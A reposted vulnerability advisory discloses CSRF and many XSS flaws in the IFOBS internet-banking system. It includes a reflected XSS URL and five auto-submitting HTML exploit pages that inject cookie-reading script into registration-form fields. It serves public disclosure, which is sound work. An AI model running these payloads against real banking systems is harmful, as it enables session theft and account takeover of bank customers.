IFOBS Cross Site Request Forgery ve Cross Site Scripting Vulnerability

IFOBS Cross Site Request Forgery ve Cross Site Scripting Açıkları Bulundu.
Açığın oluşum alanları ve kullanım şekilleri hakkında açıklama:

Hello list!

I want to warn you about Cross-Site Request Forgery and Cross-Site Scripting
vulnerabilities in system IFOBS.

IFOBS - it's Internet-banking system, which is widespread and particularly
it's used by large number of Ukrainian banks.

These are the next 35 vulnerabilities in IFOBS: 1 CSRF and 34 XSS (in the
first two advisories there were 74 vulnerabilities).

-------------------------
Affected products:
-------------------------

Vulnerable are all versions of IFOBS. The developers have ignored and not
fixed these vulnerabilities (all holes from three advisories).

----------
Details:
----------

Cross-Site Request Forgery (WASC-09):

Lack of protection against Brute Force in login form
(http://site/ifobsClient/loginlite.jsp), mentioned earlier, also leads to
possibility of conducting of CSRF attack, which I wrote about in the article
Attacks on unprotected login forms
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).
It allows to conduct remote login into account (for conducting of attacks on
vulnerabilities inside account). It also can be used for automated login
into account, phishing and other automated attacks.

Cross-Site Scripting (WASC-08):

http://site/ifobsClient/regclientalerts.jsp?labelname=%3Cscript%3Ealert(document.cookie)%3C/script%3E

POST request at page http://site/ifobsClient/regclientform.jsp in
parameters: secondName, firstName, thirdName, BirthDay, BirthMonth,
BirthYear, address, livePlace, passportSerialpassportNumber, PassportDay,
PassportMonth, PassportYear, passportIssueAgency,
tempDocSerialtempDocNumber, tempDocSerial, DocMonth, DocYear, idCodeNumber,
CodeRegDay, CodeRegMonth, CodeRegYear, idCodeRegPlace, phone, email,
pmcountry, pmnumber, keyword, password, bankAddress, bankContacts,
typeclient.

Exploits for the first five vulnerabilities ((in parameters secondName,
firstName, thirdName, BirthDay, BirthMonth):

IFOBS XSS-11.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"
method="post">
<input type="hidden" name="secondName"
value='"><script>alert(document.cookie)</script>'>
</form>
</body>
</html>

IFOBS XSS-12.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"
method="post">
<input type="hidden" name="firstName"
value='"><script>alert(document.cookie)</script>'>
</form>
</body>
</html>

IFOBS XSS-13.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"
method="post">
<input type="hidden" name="thirdName"
value='"><script>alert(document.cookie)</script>'>
</form>
</body>
</html>

IFOBS XSS-14.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"
method="post">
<input type="hidden" name="BirthDay"
value='</script><script>alert(document.cookie)</script>'>
<input type="hidden" name="BirthMonth" value="01">
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="typeclient" value="standart">
</form>
</body>
</html>

IFOBS XSS-15.html

<html>
<head>
<title>IFOBS XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/ifobsClient/regclientform.jsp"
method="post">
<input type="hidden" name="BirthDay" value="01">
<input type="hidden" name="BirthMonth"
value='</script><script>alert(document.cookie)</script>'>
<input type="hidden" name="BirthYear" value="2012">
<input type="hidden" name="typeclient" value="standart">
</form>
</body>
</html>

------------
Timeline:
------------ 

2012.05.04 - found vulnerabilities during pentest. After I've informed my
client, he could inform the developers.
2012.06.01 - announced at my site.
2012.06.01 - informed the developers about vulnerabilities (the first
advisory).
2012.06.01 - informed the developers about vulnerabilities (the second
advisory).
2012.06.02 - informed the developers about vulnerabilities (the third
advisory).
2012.09.21 - disclosed at my site (http://websecurity.com.ua/5863/).

Best wishes & regards,
Eugene Dokukin aka MustLive

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir